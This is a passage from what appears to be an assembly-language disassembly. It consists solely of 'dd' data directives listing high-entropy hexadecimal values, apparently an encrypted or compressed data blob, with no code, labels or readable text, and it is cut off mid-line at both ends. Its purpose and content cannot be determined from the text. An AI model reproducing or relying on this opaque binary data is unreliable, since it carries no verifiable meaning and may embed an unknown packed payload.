0E7A11FBEh, 0A624832Ch, 0A5291F86h, 7672ECA1h dd 0D2278971h, 2D072B0Dh, 0CE78B339h, 0E3E3B3Fh, 24157FF7h dd 453974Dh, 4364201h, 8A0326C5h, 2BAA7Bh, 100F787Dh, 15131275h dd 0C70F37B5h, 3ABAA62Ch, 3F351A79h, 0BFD512FDh, 2B2FAB26h dd 3886245Ah, 645EE0ACh, 270A79A7h, 0B13FBA17h, 32B03131h dd 3F3FA83Ch, 983A38A0h, 0AC19194Eh, 279C241Ah, 2220EC27h dd 2E29ADF4h, 542DBAD4h, 3470590Fh, 57283430h, 59455A4Bh dd 423D5847h, 617A675Ah, 21486379h, 4F584A5Eh, 45544C5Ah dd 5141572Ah, 4D5F5340h, 2A143702h, 3E186BBDh, 21183B7Eh dd 9F5B31B5h, 1B1B0AD8h, 3838C2E0h, 0D628AA2Ah, 7AD4D5E9h dd 33EB3BD2h, 18304213h, 3524F175h, 8C88079Bh, 9B8F613Eh dd 1DF5401Dh, 63A92090h, 2656AC38h, 15487276h, 0EF8AE9ADh dd 1389AF34h, 22367115h, 0BB3A39C7h, 3F7D3D80h, 8D183C12h dd 22892606h, 86201420h, 2B892887h, 86870C2Ah, 3781102Ah dd 16308C13h, 78293DF7h, 28BF39F3h, 1894183Fh, 2485EF9Ch dd 3521D818h, 392C9A25h, 873C2E21h, 3E302030h, 353BEC32h dd 39373739h, 15733B35h, 5C7EDF7Fh, 0DD870235h, 0C7C1270h dd 0C4A62624h, 177EBB21h, 31B3A57Eh, 34663019h, 3CCCEC1Ch dd 153B8766h, 8340218h, 3F1CECB2h, 0A79C2EE3h, 0AC888400h dd 173B2815h, 5C4F5F49h, 37CD542Eh, 33C931CBh, 7A7B3200h dd 0D0F2D6Ah, 51BC555Bh, 2224431Eh, 484C421Ch, 4B457743h dd 41053C52h, 8D348F49h, 8E308B36h, 0FA3A713Dh, 5F38BE31h dd 6D722439h, 2E530171h, 2A212C27h, 1B2D2223h, 3F1D298Bh dd 3F30CDEFh, 0E2BFF939h, 11CFFF35h, 0BDE5B0E8h, 879BE0A8h dd 0C193A41h, 0D61B261h, 0FBDCEE36h, 8E6A71CEh, 0F0FC076Fh dd 0E491714Bh, 2DE694F1h, 0FA7B137Bh, 69BFD79Fh, 5DFFD0FAh dd 38626001h, 6723C2E5h, 2BD4372Ch, 0A99245BFh, 2AB35F03h dd 4B66116h, 0B92E1D7Ch, 0B5D62971h, 0A22E993Bh, 0CA35399Ch dd 843CA5E8h, 7A30AC9Fh, 8EE17C3h, 103CF03Fh, 6213F63Fh dd 45FAD5DFh, 9F3FD437h, 39987D3Eh, 23201776h, 692CA327h dd 0C97E7676h, 3D08FF27h, 0F5B4AC0Fh, 38713016h, 6F383CE7h dd 1940B06Dh, 48E4BA2Eh, 2A9F3269h, 3E29A82Dh, 9D372CA5h dd 8C3B2389h, 610E7E24h, 0D76C3838h, 31FA370Ah, 3C2A2E81h dd 9789D63Fh, 72BE1C74h, 7AE1741h, 2B536974h, 2D9B0140h dd 0F3B29D3h, 0C9DA3421h, 135E3634h, 0CBEB0D28h, 0D39F0E30h dd 0AA2E1CFEh, 0AA80231Fh, 0AF2426E9h, 0A7BD2862h, 0D17DB86Eh dd 3230B41Ah, 0AA70B9F3h, 0AA7CB567h, 9E253C3Ah, 3509E46Fh dd 20201DC4h, 10120714h, 291E1B10h, 1B5C1D67h, 7B719AEh dd 0FF02A8B2h, 150F3900h, 643C3DAAh, 9F2C4309h, 20288A2Ah dd 13FE15E7h, 100311D6h, 0AE136629h, 0F117A115h, 0CCF3209h dd 1390F32h, 0A3B0316h, 55067804h, 1F250E25h, 0D26649C4h dd 770FCD61h, 9F23732Dh, 1FAB2F6Ch, 13F6B233h, 1233E95Ch dd 39EFB188h, 37169A35h, 0D596F412h, 276365FEh, 5322B637h dd 283A4DABh, 6E3E6E71h, 0DB30802Eh, 0BBE4742Eh, 0D20B7787h dd 7F2BFCFAh, 151CCF28h, 129BB1Fh, 4DC2202h, 0A85927A6h dd 0EC0B2D2Ah, 34332E2Fh, 357429FFh, 6B834A6h, 3C3CFB06h dd 38187F15h, 213EA718h, 24A3337Fh, 0E88E39C3h, 2D3F9528h dd 310E322Ah, 26321228h, 3D30369Ch, 3D3AFAA0h, 3B6A2C0Dh dd 7988DF10h, 336C2043h, 52E625A1h, 0A32B992Fh, 712E3D6Ah dd 2374F7F3h, 21043434h, 6A05F8F8h, 375E6C34h, 1E0D5A91h dd 3E55E09Bh, 0AB296AA8h, 7B06C9D6h, 3CED68C3h, 2710F0Eh dd 68D533F1h, 0FA0AFB6Eh, 2E493CBBh, 0C7137AC1h, 0C32F7EADh dd 2A4573B2h, 4829B7C2h, 2D958325h, 160C82Dh, 64BD6661h dd 37995C1Eh, 0D273F0Bh, 1F5A9239h, 0B5D2AF19h, 0D5272411h dd 6B31AD2Eh, 289B93F9h, 355AF50Dh, 1851358Ah, 69CD6521h dd 0CCDB23C9h, 0BB5F010Dh, 54BE9557h, 0F71D65E0h, 24269EC4h dd 0A70F2908h, 2B2D2D04h, 33269350h, 9D067196h, 0B3492960h dd 0FB86A2BCh, 82EF043Fh, 93BDF124h, 26A54BFh, 0E6B0C68h dd 1A051E07h, 1679681Dh, 0CE4154FBh, 19F64505h, 0FFB63E1Ah dd 1C98AD57h, 3C025E1Ch, 0E7F32F76h, 2989F186h, 304309B8h dd 69338D7Bh, 57D73390h, 7D1A1976h, 0DC2C1153h, 8139DB3Bh dd 0AA3E5FC2h, 26E277C0h, 1821A430h, 2E50A14Bh, 977D7804h dd 0DA4231B1h, 0B9AB34F4h, 0B0056307h, 25DF07EDh, 0AC21B61Ch dd 0C51DF81Fh dd 97D8271Bh, 292AD92Dh, 2F2D2DA8h, 33E0135h, 7790573h dd 470A4838h, 0F70EB40Ch, 2ECD1C2Bh, 232110ECh, 17353612h dd 0EA70193Eh, 0C01C8811h, 3B012Fh, 4AF0656h, 3EDA53DFh dd 30DC32D4h, 1BEC1C85h, 0CE24EE5Bh, 4D2AC62Ch, 0C21D24D6h dd 23C99324h, 0DE2FBED5h, 7A63DB3Ch, 37D73226h, 33DE35D5h dd 12F189F0h, 2EF91F15h, 25239516h, 0A326264Fh, 2C81C2E1h dd 60D0D291h, 36333159h, 383CD3DDh, 6419503Bh, 0F368758Dh dd 9C1AADF7h, 7C1219E4h, 582AD57Ah, 0C723266Ch, 21AEA86Ch dd 63250278h, 17765F63h, 0B02E39B9h, 3B40B63Ah, 161D4290h dd 732D4E94h, 0B661AD71h, 0DFC14803h, 0E9A62A2Bh, 523136DFh dd 0EA20C42h, 2F3009Fh, 73904E0h, 2427222Bh, 1883265Ch dd 1F761926h, 13C51DBBh, 16DF1015h, 0D6C1305h, 9D60F94h dd 4F60A28h, 3680522h, 232601AEh, 1FDC219Ah, 27231DDEh dd 29272445h, 80282AB5h, 21FD81Dh, 54F7068Dh, 94AAD61Dh dd 6F147A6Ah, 48106D12h, 4D714D2Ah, 0EF704561h, 0FB10F112h dd 0EF3E00C2h, 7C8E311Bh, 5306061Ch, 0D71C1A1Eh, 0CDE0EE4h dd 906A51D0h, 1D37B331h, 774A0AB0h, 1F611D1Fh, 7E89116Bh dd 4A147012h, 3A0B324Eh, 0D6F2DC64h, 823C1836h, 9E391CDCh dd 697BF910h, 0A237FB10h, 3230C137h, 1A57042Ch, 6D7D2B37h dd 61312FAEh, 979FDBAEh, 0D8129777h, 1D384E7Dh, 1D1BB716h dd 76208F44h, 1E4258C9h, 7FA74E25h, 0A72A2A6Dh, 62C77F2Fh dd 0D834530Ch, 7C3ED639h, 786929BAh, 1C9EF8D5h, 9D181B9Ah dd 3874C916h, 252F1167h, 64282B8Dh, 64D42F28h, 313B1483h dd 323437B0h, 0E2383A30h, 5C3C3269h, 1A531E19h, 202E981Dh dd 24277161h, 0BD2B2CB0h, 2D39097Dh, 473951D1h, 0B3BF148Fh dd 3A3A388Dh, 29BEB9B4h, 139E9F1Fh, 21A8121Eh, 0DAEAA026h dd 0A005E56Fh, 0C42E4B9Fh, 4338E48h, 463FB131h, 0BAEEC8AEh dd 0FD403AC2h, 0E3E3BC91h, 32FCB469h, 0CC2024E1h, 0C3294737h dd 2ABB2F2Bh, 61AC332Dh, 62666131h, 0B160C7BEh, 2C1F3A4Dh dd 0E55125D5h, 0DF1E99E3h, 7D7D2955h, 677F7E79h, 2A2A21EAh dd 0BA2FABA6h, 9E91103h, 373C40F7h, 3AFA0B2Ch, 7BB52B3Fh dd 7296003Fh, 1139203Bh, 0E51E6CD5h, 0D719A1EDh, 7FEE20CBh dd 0CF79C72Eh, 0C97FAF30h, 3A31C936h, 3C40FCBEh, 0FDDDDB0Ch dd 0C9701D3Eh, 3834ED15h, 0D12FE3A5h, 0FD2F2478h, 0D9344520h dd 0D72544F2h, 4DF8B238h, 0B6342B3Bh, 0C92B32Fh, 22E21D5Fh dd 0F4528881h, 15E72E06h, 0C578B3Ah, 4E0E4653h, 54314F94h dd 1C439375h, 0C5B06D41h, 6561B33Dh, 0F7075291h, 73422277h dd 64C5265h, 0EBAFD6D7h, 91AB222Ch, 32583230h, 3636395Ch dd 0EDAA699h, 6F3F5710h, 57847C7Ah, 0E5DEDF3Fh, 0A75BA2AEh dd 5631AC16h, 39EB34ABh, 25E03405h, 2618F421h, 1E752D77h dd 3757187Bh, 5F6CF36Eh, 65353F0Bh, 30642137h, 0A43D67AAh dd 2C06EDBCh, 75623A2Eh, 207D1427h, 77E9C299h, 39563E2Fh dd 5E1614FEh, 880A5E5Eh, 7BCB2169h, 0E0AC2225h, 42F02ADh dd 0D10AA8C5h, 0E552E1E0h, 0EC1712B9h, 0C4B03939h, 0F33C3D79h dd 5901B1D8h, 306A529h, 56362D64h, 0C32E88A1h, 2A2A0430h dd 371B72D8h, 35462976h, 271E7DB1h, 7659396Ah, 3A91184Ch dd 6F6ABE52h, 6339C8A0h, 0EAF74C82h, 8FA3A1E7h, 3F197D6Dh dd 0D65850D3h, 10D49973h, 7C571251h, 5B0FB11h, 61703D74h dd 2474636Ah, 0EB6421E1h, 390EF45Eh, 0F9BBAB36h, 371C3192h dd 1D8C8DEh, 0D4203917h, 0ADFB251Eh, 204CF64Ah, 6622725h dd 3205662Dh, 0B67D1A8h, 452D2E2Dh, 2075CD32h, 2DF5E63h dd 251880D6h, 38973DFDh, 1ABA6E16h, 0CDD90284h, 38790692h dd 83A92933h, 4E7B21C0h, 10502913h, 651550D0h, 3D195FE2h dd 0FB1D56CAh, 0E621D327h, 1FE81C1Fh, 181D1A2Ch, 2D996931h dd 2D2D13ACh, 310A714Fh, 0AC056233h, 709FF07h, 0F7F3C0Ah dd 2C4C2A76h, 0C2202E49h, 81131014h, 291FEF11h, 15BF137Dh dd 9C517E2h, 180D3B32h, 7501770Fh, 4643B03h, 32617773h dd 45525E3Dh, 5D514D4Ch, 2A6525A7h, 22A2B06h, 0A7C610Dh dd 5D643A11h, 1824765Bh, 3C5F1F11h, 375B1B13h, 766B5F3Ch dd 33234D22h, 52060B0Dh, 42225D58h, 25044841h, 4B5D5310h dd 17237775h, 495F4A4Dh, 4B7EB4CDh, 0ACF5183Fh, 3745A121h dd 261E323h, 0C22D2837h, 2EFFA589h, 32E1F605h, 0F4A0DC32h dd 0FB069A37h, 0B6D53E3Bh, 0DC441BFDh, 6FB01C1Eh, 69AF23E2h dd 0EFA32F02h, 1AEE75E8h, 0F220EBADh, 2BB0452h, 5130B84Fh dd 3D83397Ah, 301ABF06h, 203B6294h, 42A6CA6Dh, 0E8A2D9DBh dd 43AB4229h, 452E2E69h, 33130725h, 0D630366Dh, 3F9B38B9h dd 7999D731h, 19FC1A9Ch, 27F24049h, 4522E0ECh, 332EEA14h dd 2D0E9BC4h, 93615451h, 5D656666h, 1D7A5B12h, 0B4581734h dd 341D0C9Bh, 7AA17D9Ah, 337121A3h, 0A86573A7h, 282D5E70h dd 0B86C6E70h, 22BF468h, 0F8796473h, 815BE27h, 1F741A73h dd 28205317h, 78182B22h, 21A17CB8h, 2D32A555h, 0FDD8BFAEh dd 0BE840172h, 0F8B3CE1Dh, 3DB7CCB1h, 1EF2FEC4h, 0E894BBEEh dd 27C2A121h, 767882D6h, 41148DEAh, 0BA582E22h, 0BE4FA03Ch dd 98BD4615h, 0B56CCBB2h, 288E8E49h, 92967BDCh, 3842305Eh dd 0C722251Ch, 30408D37h, 7402DDCh, 82E3B3C0h, 72F62080h dd 0C977196Eh, 0D76FAE9Eh, 1EFC9DBFh, 32A8760Ch, 2501C4CBh dd 2808BA01h, 0FEC52B8Bh, 643A312Eh, 0DE3DBD23h, 0B94BF8F7h dd 0B59D20FFh, 80F44BF0h, 0E176219Eh, 246531EBh, 9206051h dd 0A464333Eh, 0B130CFE5h, 0DD183290h, 4A2027A6h, 66FF6B32h dd 0DC0E2E87h, 7DFFDED0h, 0BC224275h, 0DB272525h, 0A8A24C82h dd 0F62FAA09h, 4475B332h, 69676236h, 3C1B2F38h, 2A9E1623h dd 1F2E16CDh, 675E5700h, 0D825B524h, 0BB08993Dh, 156C2558h dd 0B874B036h, 3F71BEF2h, 18BB9938h, 0BEAABD36h, 1F249D28h dd 2EC9231Fh, 6727F0CAh, 2B291226h, 0AE96F0C3h, 0FFB83829h dd 0BF3B3332h, 0A9710514h, 4CD5E425h, 0D8001AE9h, 22607D7Eh dd 5811ABBh, 333C9E3Ch, 372DC8CFh, 0E932FD5Bh, 583845D0h dd 0C62B8893h, 2D781F3Ch, 0C02EF69h, 475F974Ah, 0E10420C9h dd 0AEAB293Dh, 207C2929h, 2C0C2DC5h, 0B74A2BF1h, 4637C7CBh dd 0C2C5B936h, 1EF83440h, 0CFE042FCh, 0A030CA63h, 5AA62ADAh dd 29D4AA25h, 73BCD3Fh, 7F39DBF1h, 24761927h, 68BE47BAh dd 252D6CCBh, 0B21BFBDAh, 82696216h, 1CD7112Ah, 3C20899Ah dd 9FCEED27h, 583894AFh, 1EEF0773h, 0CA38385Dh, 37CD1032h dd 0CA98C984h, 3029EE34h, 0DF2BC2E3h, 0A2E5072Fh, 2D262B25h dd 154CA479h, 0CAB13322h, 6DB30940h, 0ED3D331Eh, 9F4D33B0h dd 6292E1D3h, 0D6082321h, 0E9A437AFh, 7CA32A2Dh, 0CC7EA5D2h dd 3C3BD8F0h, 384526BDh, 3D6BB229h, 33FBC3Ch, 9C1C4D94h dd 0AE2225E0h, 0F01D2330h, 2ACE3CD7h, 0AADE2E0Dh, 0B82944C6h dd 35E7B401h, 6CECC66Bh, 3C03EBC3h, 2DCF2F1Bh, 4157AADFh dd 474324A9h, 0F4B7EADh, 2E2DD3D4h, 7C8F3F2Dh, 3ED7F557h dd 0BAE93327h, 355D7A3Ah, 0DC975BEFh, 2224FFDFh, 25262362h dd 2505B5A4h, 7DE32A1Bh, 74A235C6h, 0B03B6810h, 0B52AAA34h dd 397DB036h, 1D13C7BDh, 0F1AF5368h, 7514AB2Dh, 201ACE1Dh dd 268A2819h, 0B3027389h dd 6623F0D1h, 9B6DCDDh, 3D0BBD29h, 0FFFBD95h, 4C46313Ch dd 2EE22D3Eh, 0A45244Eh, 0F9AF49E8h, 0C7A22B3Ah, 0F6317095h dd 365C4522h, 3C022FDEh, 0B31FB7D4h, 127D1DBAh, 9387C817h dd 40C53C83h, 9E68F32Fh, 0AA3E8D2Fh, 243576A6h, 37E0DC34h dd 3C61203Eh, 3FDEF8D3h, 0DDA823DAh, 7FF0261Fh, 259425BEh dd 0AD22B6C7h, 0CC195FEAh, 0B13F8F38h, 6754431Ah, 3C6940DEh dd 7AFD69ABh, 1CD9FE54h, 0C84B3A51h, 3423B041h, 0C44FEEC1h dd 0C7241B78h, 612D1E1Eh, 7C826332h, 6175DE51h, 3F6D0F3Ah dd 1BAD2D16h, 0DB76C59Ch, 27201054h, 48546734h, 2E8B485Fh dd 4B66586Dh, 27A35E59h, 0D941A30h, 9A3BFB38h, 5E3A3D02h dd 5F14FC68h, 9F3A201Fh, 37272422h, 1B72683Fh, 1C2C2D7Fh dd 3260948Fh, 51344C29h, 5B5A6B37h, 4D181455h, 30CDF216h dd 1BAE256Eh, 1F8219B9h, 13E91D8Bh, 160A11DCh, 0A631418h dd 0E400850h, 55F0B56h, 1BB07BAh, 208703B0h, 1CF622C1h dd 19161F0Eh, 15761B61h, 11E417E0h, 0E2B13F6h, 0AF70C9Dh dd 6DD08E4h, 3C105E4h, 197F3D3Dh, 220A21E4h, 0ABBB813Ch dd 47121808h, 67176DB1h, 73A6B40Ch, 0ABD2550Dh, 974A0840h dd 6B6B1A0h, 9BA65DA8h, 863DB026h, 0E61C9C97h, 1BF1B3C3h dd 0A2BE88FBh, 4ED911C7h, 3E0F34B8h, 2ABDA313h, 0ACD91C09h dd 9E01020Fh, 65901A1Bh, 211F774Ch, 252B2323h, 28284D27h dd 2C2D32C2h, 313247B8h, 0E3CBB330h, 53263797h, 3D24513Fh dd 1A1B7138h, 21750A1Dh, 100766ACh, 7835064Fh, 2D96ECC1h dd 38A40693h, 36B7F4F9h, 0DBDF128Fh, 0C3C43A82h, 2337BE01h dd 0F9E08E3h, 0A8746123h, 0AF33DADCh, 2B1929A8h, 70D1A8ECh dd 0F3AD3E6Eh, 283EC1BBh, 363A3637h, 3E2E853Ch, 0F651F3CBh dd 125F3019h, 4708AFD3h, 7D797E2Ch, 9E0B6543h, 3980E5BCh dd 3BD7BB17h, 832939E7h, 9C34FE0Ch, 5E15DD6Bh, 28EB4BF6h dd 0AD7EF2E0h, 0D039CCA0h, 21C46F03h, 509A26E2h, 0F4BC3AF1h dd 30F3243Fh, 23CDBBBh, 16147631h, 691D004Ah, 6D223C70h dd 0BCE1CE60h, 65233318h, 809EC66Bh, 6391A68h, 0AE3D172Ah dd 0C45FB02h, 5635D66Eh, 0AB1219AAh, 6FAB2924h, 723E1500h dd 2AA992C0h, 943E297Ch, 30322130h, 3436A0DDh, 3CFDAD6Bh dd 3F5F887Ch, 0BF209747h, 2152211Dh, 0ADF2DB2Bh, 0FA7DA137h dd 68A0340Fh, 0E272D83Fh, 97344332h, 323963F7h, 3A3C918Fh dd 1C181AA3h, 2921733Bh, 13202242h, 282C2666h, 252D2F0Fh dd 6BD4172Ch, 9D26373Fh, 2B393F37h, 7B736843h, 5D4C6B3Eh dd 75435B4Fh, 4151224Fh, 7C074A44h, 442B494Ch, 5F434143h dd 346F4B56h, 0F77A5736h, 563B3543h, 1BC756C2h, 1E1E5EA9h dd 27228044h, 0AE427524h, 0A82E290Dh, 791E25C0h, 59274167h dd 37385F33h, 2B503052h, 2C547256h, 9512765Bh, 0B2254AEEh dd 0D62C08B2h, 8AAFEF90h, 0A8EB2A99h, 2A813133h, 3AB405DBh dd 33B848B9h, 0D679C4B0h, 0D63A0A3Eh, 2B30E5F6h, 95EDC1CAh dd 113DD821h, 98F096Ah, 4079325Eh, 8447DB16h, 491CBB2Dh dd 0B628390Eh, 472F7FF9h, 0E49E58EFh, 2523C395h, 29272EE7h dd 2C244876h, 3FD02E22h, 0DC2BBB31h, 34F77Eh, 7FD36D31h dd 0F36E2C7Fh, 0FF1F7CE9h, 0B067520h, 0AE36E1A7h, 7C781148h dd 368D08C4h, 31DA3650h, 797AF4C1h, 0B27B6E30h, 7F1F2872h dd 6A3BBC0Fh, 7DE76B5Eh, 0E47E3C7Dh, 0D73A0D2Bh, 26C1AF63h dd 3323332Fh, 0B2353834h, 3D381834h, 103E3C36h, 130C1C3Eh dd 201C1C1Eh, 26242C25h, 2E296D64h, 752F2B3Ah, 3921282Fh dd 34523032h, 3A382531h, 3A3D1A4Eh, 9E183F2Dh, 200B191Ch dd 25B321A5h, 2B273322h, 3C2C2BB7h, 314525FDh, 344FDA61h dd 3137D639h, 0B8FC3869h, 0F3393B4Ch, 1F5E03CFh, 73FAA22h dd 0DF2536F3h, 2A2A9028h, 1C2C2D2Eh, 0EBB31F0h, 3634F084h dd 853292CBh, 3C9E6AD8h, 4FE15290h, 722E502Eh, 21E5CACBh dd 0EC4D28A7h, 0C2D14ABh, 0B6F2A420h, 3D3040E8h, 72993915h dd 2A3EEC37h, 1EB7F36Dh, 3AE048CEh, 0AFFFA72Eh, 112A532Eh dd 0AD30752Ah, 3D450DD7h, 347CB932h, 4D18CEB6h, 3C3C3635h dd 8D182D35h, 0A0FB6B18h, 2523A219h, 28E11851h, 5DFC2439h dd 3E3F432Dh, 243343D4h, 3846C53Bh, 0E63A3429h, 14312D9Ch dd 110E1D6Dh, 3322503Dh, 560D932Ah, 12243928h, 213E2D5Dh dd 5E324077h, 46633B24h, 58342938h, 312E3D4Dh, 1E6CC76Ah dd 535E2E0Fh, 0AB2B3423h, 68BC8BB5h, 8D6F5D04h, 0B134F127h dd 7C37F5AEh, 732C3AD9h, 0B4597539h, 0B7A33F3Fh, 8B229E67h dd 675154E0h, 3DEA37B2h, 0EF213066h, 30742D39h, 593E3366h dd 7FFA457Ch, 8F3EBB99h, 3545BDB0h, 0D80D9F54h, 721E33Dh dd 380362A8h, 2C0F5EA0h, 16C67E3Dh, 0BF313235h, 2C137AB5h dd 7E7DD268h, 1F3FB83Ch, 1F1C6AF5h, 36EAC22h, 20CE6900h dd 67022911h, 0E9322D08h, 224215B4h, 34363734h, 0C502CFD0h dd 35B568C3h, 6A121CD4h, 0CA252F1Fh, 2EE77D78h, 378A72ACh dd 0AD2D2172h, 6DB138C3h, 67903427h, 0D22167B6h, 7C9E3F63h dd 58181D3Fh, 0A171751Eh, 73CC3F21h, 8BA365A6h, 253FAB3Ah dd 94307F7Ch, 967BB3BAh, 37392137h, 0BE1BD322h, 559BF09Eh dd 6F9F0E97h, 1F93198Bh, 13CD1D93h, 10091631h, 0C62121Eh dd 8AB0E6Ah, 48E0AAAh, 0E706F7h, 27C402CCh, 22112018h dd 1E4A1C36h, 1A8A1850h, 152814F6h, 11421322h, 0D8B0FAEh dd 83B0BF0h, 4590613h, 0DD0241h, 1C1D23EDh, 462031D9h dd 0DA0F2537h, 2B9C2A07h, 2F2F702Ah, 5E991463h, 36D493DBh dd 0F638CC67h, 0A8173DCBh, 19341A3Eh, 32A01B1Fh, 3471A6CAh dd 283C3B27h, 592D3A66h, 0E4382E3Fh, 54E03226h, 38295430h dd 2DF3FAC6h, 2D07953Fh, 71DE9C96h, 0ECA88720h, 2916E5AEh dd 0A5748E29h, 0B9712A46h, 6F6EE222h, 9473EF7h, 233B49FAh dd 1B300D3Ah, 4C16542Fh, 0BE022920h, 0BD2A83Ch, 7E22A520h dd 27A825A3h, 3B9A3230h, 73EB73Fh, 393A1939h, 3D02B020h dd 3B5FDD4Fh, 60E435DDh, 8430E426h, 0AB3CE866h, 3BADC6EDh dd 0E624F479h, 23F763EFh, 5E2CFA17h, 86BE29FBh, 21A41FC2h dd 2125A71Dh, 251B819Dh, 9129273Fh, 89972B33h, 348B2F93h dd 60675B88h, 8DB36136h, 3E3CBF1Eh, 0BE12BCBFh, 350C998Dh dd 2DA04FC9h, 34A155h, 0AF72C23Dh, 7F299E24h, 71B9DA22h dd 3F973F36h, 0DD3282Ah, 3DD37BEh, 0F70F3A1Bh, 0A22BA23Dh dd 0F2FA1FBh, 0A823C138h, 3CA96525h, 0C616D93Fh, 3732F7B0h dd 353F3E39h, 1B6AB638h, 973D0CE1h, 63218027h, 874E0425h dd 1A21273Bh, 3FC52D2Bh, 355737EFh, 0A983DCFDh, 3D353CA6h dd 983C0CB0h, 1BB36439h, 5E26BA89h, 8B2A582Ch, 41782BE6h dd 8E89389Ah, 379F1328h, 339D1BDAh, 1E3E982Ah, 9548CDBFh dd 0BD25B43Ch, 14FF4F1Ah, 64A8708Bh, 0DEA26951h, 2829615Ch dd 13DEADF0h, 0F9B83441h, 0E78DE67h, 0CCD38C3Fh, 87290E3Ah dd 0C9C1609h, 37249102h, 0B2B7E517h, 704A2D77h, 3708E9AFh dd 31582281h, 3056EECEh, 0EE8C39E9h, 0EE8BDD3Ch, 494BB41Bh dd 0F7767116h, 26F45623h, 2AFCA41Dh, 2C2DFD90h, 3631E1A1h dd 36E56139h, 7739ED47h, 0EB5F3CEAh, 0CC498D3Fh, 21F54B1Eh dd 6324F2FDh, 30027F3h, 152CFB21h, 0E0412FFBh, 605F4832h dd 3D5BB70Ah, 7F183CBAh dd 0F987EB7Eh, 0A503915Fh, 6706AFh, 0A93C4538h, 420CAA0Dh dd 16AC09ACh, 34A3DEB0h, 0F9B43535h, 0B76D6F3Dh, 0B31B8A3Dh dd 71931E1Ch, 0D6CA655Eh, 0CFEB9466h, 0AE3369DFh, 0AA21ED2Ch dd 313233D7h, 750BF210h, 8F7C4F45h, 3D2BC29Ch, 951BBC8Bh dd 23DFA3EFh, 0A506E45Fh, 345DD7D9h, 0AB6A38E9h, 1914662Dh dd 0CD0ECA30h, 7BF0974Bh, 0FF794831h, 1D9990BFh, 8C36DF14h dd 65762C83h, 0C20C052h, 4F0C23CBh, 3F370A39h, 0F430F17Eh dd 2051E72Ah, 6C55F1A4h, 950A3F3Fh, 0AD1B3A69h, 0A422766Fh dd 28243615h, 0E4B0C22Ah, 7E12AE3Ch, 37B3F40Eh, 0B10BDE37h dd 16757AF8h, 0F33E3D3Ch, 0DD1D1F33h, 23212035h, 6604CD25h dd 0F1BA2863h, 3C102F3Ch, 640B3067h, 60631B35h, 3A6D1A39h dd 323F6A24h, 771F1D4Ch, 0AAD62148h, 86C92575h, 0CB287C27h dd 0FA2D8E86h, 3293507Dh, 0FD291537h, 0FA6B3A80h, 3F3D3C99h dd 0AFA907DEh, 80051B1Eh, 25848922h, 18FAD79Eh, 0D2D3F548h dd 14B94B7Eh, 55653732h, 4DB13772h, 0B3B13F1Eh, 820B06BDh dd 50D81F1Dh, 2723384Eh, 692DCE81h, 0D47A481h, 310FE82Ch dd 72DB2BB9h, 0B6BA2605h, 143A3F6Eh, 1909D625h, 1E1B5F1Dh dd 5A8C937h, 220B2426h, 3DC23F29h, 0BF008F2Dh, 177E3186h dd 8B57DD7Ch, 6B3AC6C7h, 731A71B1h, 1E2B9873h, 7320205Bh dd 0D991BECBh, 0EEAAD737h, 3ABD2C3Bh, 1631ACA7h, 34353547h dd 0BE8FB8DFh, 23DC3C4h, 0A7CEF37Bh, 0DE20AF1Eh, 27FC8B37h dd 2B7CAA27h, 0C67D3B3Eh, 21743F2Bh, 0E2CB6102h, 193DE7BFh dd 0E76C0739h, 95C5C68h, 67BD55FCh, 703B822Fh, 9B719E66h dd 0C3FAA28h, 272BEE39h, 551E1DE2h, 32C75C07h, 88EEB9B8h dd 0F3616139h, 0F43DE96h, 373D0934h, 2729252Bh, 0A06459B9h dd 0A321302Ch, 33A2B6B4h, 0B3390544h, 323AB90Dh, 8B53334h dd 0F64EBF9Bh, 670C3782h, 35C12A9Eh, 0AA708804h, 2783833h dd 20B289C7h, 162D6933h, 0D66A2B35h, 3CCD55D3h, 8F0005EFh dd 61227E7Ch, 216A23E2h, 43E1142Eh, 2DFE2B2Bh, 7DB9EEBAh dd 53DC1B16h, 397C372Dh, 0AE3C372Fh, 0AA37C3Dh, 0A31C341Dh dd 242BB225h, 79276AE9h, 0A77E2A7Ah, 663F0A41h, 4133B966h dd 306ABD31h, 3C1F66B0h, 0F41B325h, 3AC7F54Bh, 2BAD2421h dd 71B65A60h, 0E7663CD7h, 0ADE8A629h, 0CC73031h, 8FC90663h dd 2BD827CDh, 7BD3C3Ch, 1B106FBBh, 2222A009h, 43186321h dd 0AA2B08BDh, 0D1AEC255h, 32344E3Ch, 0F56A343Eh, 69863CBAh dd 3A1DDCFAh, 97DC14h, 0AC76263Fh, 7124A740h, 0FE7C79C4h dd 46228BF0h, 0F02412FFh, 0D01127B7h, 2AD82325h, 3C2C692Ah dd 0EFAAD38Dh, 6CF70A12h, 37C362A1h, 1A245441h, 0A73A4A10h dd 0A1BB0E15h, 0B4FFB9B6h, 81352BCh, 0DD27D269h, 0F3F43629h dd 0EF217C00h, 0F8112220h, 70D51E24h, 0EB182E5Dh, 6FF46BC5h dd 3F9B71AEh, 0FDF6F9DCh, 397AA86Eh, 7EA2B42Ch, 7E73F413h dd 86493841h, 0E641C41Fh, 7A7A6844h, 362E6C0Ah, 0D23901C7h dd 4118064h, 0B15C18AFh, 3E5EFCF5h, 59F41A3Ah, 0A0301A9Fh dd 0CC2FB75Bh, 2B6E3627h, 0AC86AA30h, 972C0B2Ch, 5A933D33h dd 0D1A35B7h, 103EBA1Fh, 26339A3Ch, 6ADC1C9Ch, 6A2BA368h dd 5122A778h, 882EAB6Ch, 1F562C04h, 7F6FB016h, 6FB234B4h dd 1C35BB10h, 703DBFACh, 0DC073CD8h, 2A63209Fh, 7A78DD26h dd 8E286990h, 9043072Dh, 32322D1Dh, 0FE050BD5h, 3FC2BA70h dd 0A0B93D33h, 3AE21F1Bh, 0F265B49Ah, 6269A461h, 46882003h dd 88D3D22h, 32B7B520h, 3A117821h, 1E78B1A7h, 0FF2E5D82h dd 29173B18h, 0AC713E8Fh, 65701152h, 9E5E350h, 1971EA2Bh dd 0FFBBFF7Eh, 2C2467BBh, 58B21764h, 0D53433B3h, 981BAF25h dd 0AF546ADDh, 0AAC20740h, 51B62795h, 5C33C221h, 0F0AABE1Bh dd 32323D44h, 390608DDh, 3F9A2A1Fh, 14043CA6h, 333A4991h dd 0FB4A70A8h, 0CF743225h, 61112D2Dh, 0AB392D31h, 62620432h dd 93021534h, 2439F550h, 203F39DAh, 1E721D0Bh, 0D605AC92h dd 0CE752723h, 0D4204627h, 0AA1A7D4h, 0B2347203h, 12B1F226h dd 3B3AB81Fh, 5D799C63h, 1D9F5FB4h, 74732BF2h, 41004FA9h dd 12F31426h, 970A2C1h, 0B53F6F6Ah, 3734322Fh, 3974A5B6h dd 0C3E014D2h, 13DBBAC1h, 